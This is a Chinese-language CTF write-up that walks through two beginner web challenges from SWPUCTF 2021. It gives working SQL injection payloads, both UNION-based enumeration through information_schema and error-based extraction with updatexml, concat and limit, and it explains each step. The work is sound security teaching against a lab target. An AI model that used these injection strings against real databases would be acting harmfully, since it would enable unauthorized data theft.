nssctf web入门（8）

目录

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]error

---

这里通过nssctf的题单web安全入门来写，会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列，之后会一直出这个题单的解析，题目一共有28题，打算写10篇。

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]easy_sql

 

 参数是wllm

这里直接‘ or 1 = 1 --+ 虽然返回了但没用

 

 通过’ order by 1 --+判断字段 发现order by 4时报错得到有3个字段

 通过‘ union select 1,2,3  --+ 发现2 ，3会显示在页面上

  通过‘ union select 1,database(),3  --+ 查询当前数据库库名得到库名为test_db

 通过‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3  --+

group_concat 用于将查询的tables_name中所以的数据合成一个字符串

information_schema_tables 数据库中存放元数据的地方

tables_schema=database() 用于指定查询表的数据库 这里代表查询当前数据库的表

这整个命令用于查询当前数据库中所有的表名

得到test_tb和users两个表 

'union select 1,(select group_concat(column_name)from information_schema.columns where table_name='test_tb'),3 --+
group_concat(column_name)把查询到的列名组合成一个字符串

information_schema.columns从information_schema.columns表中查询

table_name='test_tb' 同时指定表的名称为test_tb

得到flag字段

 通过'union select 1,(select flag from test_tb),3 --+得到flag

[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

 这里时报错注入，报错注入常在页面没有回显，但是会出现报错信息时使用

我们通过updatexml来修改xml类的数据，这时候我们如果指定错误的节点路径updatexml会返回错误信息，就会造成报错注入

updatexml（1，2，3）中有3个可以修改的值

1中代表要更新的xml类 我们常指定错误的类让他报错

2中代表xpath表达式 也就是我们要构造的恶意代码

3中代表要更新的值

 id=' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+

concat用于将查询的数据合成一个字符串 0x7e是~ 因为这里在xpath中的参数一定要’‘或者“”进行引用但是这里如果用’‘会导致语句变成字符串所以要通过0x7e的~代替’‘

得到test_db其他的上面的差不多

 查询当前库发现数据过多

我们使用limit 他有两个参数 第一个代表偏移量 第二个限制量

偏离量代表从第几条开始查询 限制量代表查询几条

 http://node2.anna.nssctf.cn:28028/index.php?id=' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+通过查询得到了表为tes_db

查询列名

 http://node2.anna.nssctf.cn:28028/index.php?id=' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='test_tb' limit 0,1),0x7e),3) --+通过查询得到id 修改偏移量

得的flag列查询flag

 

但是这里只显示了一半

在sql中right需要两个参数：要截取的字符串和要返回的子字符串的长度 我们通过

right(flag,20)代表截取flag字符串 20代表返回从20之后返回

 

 

最后拼接一下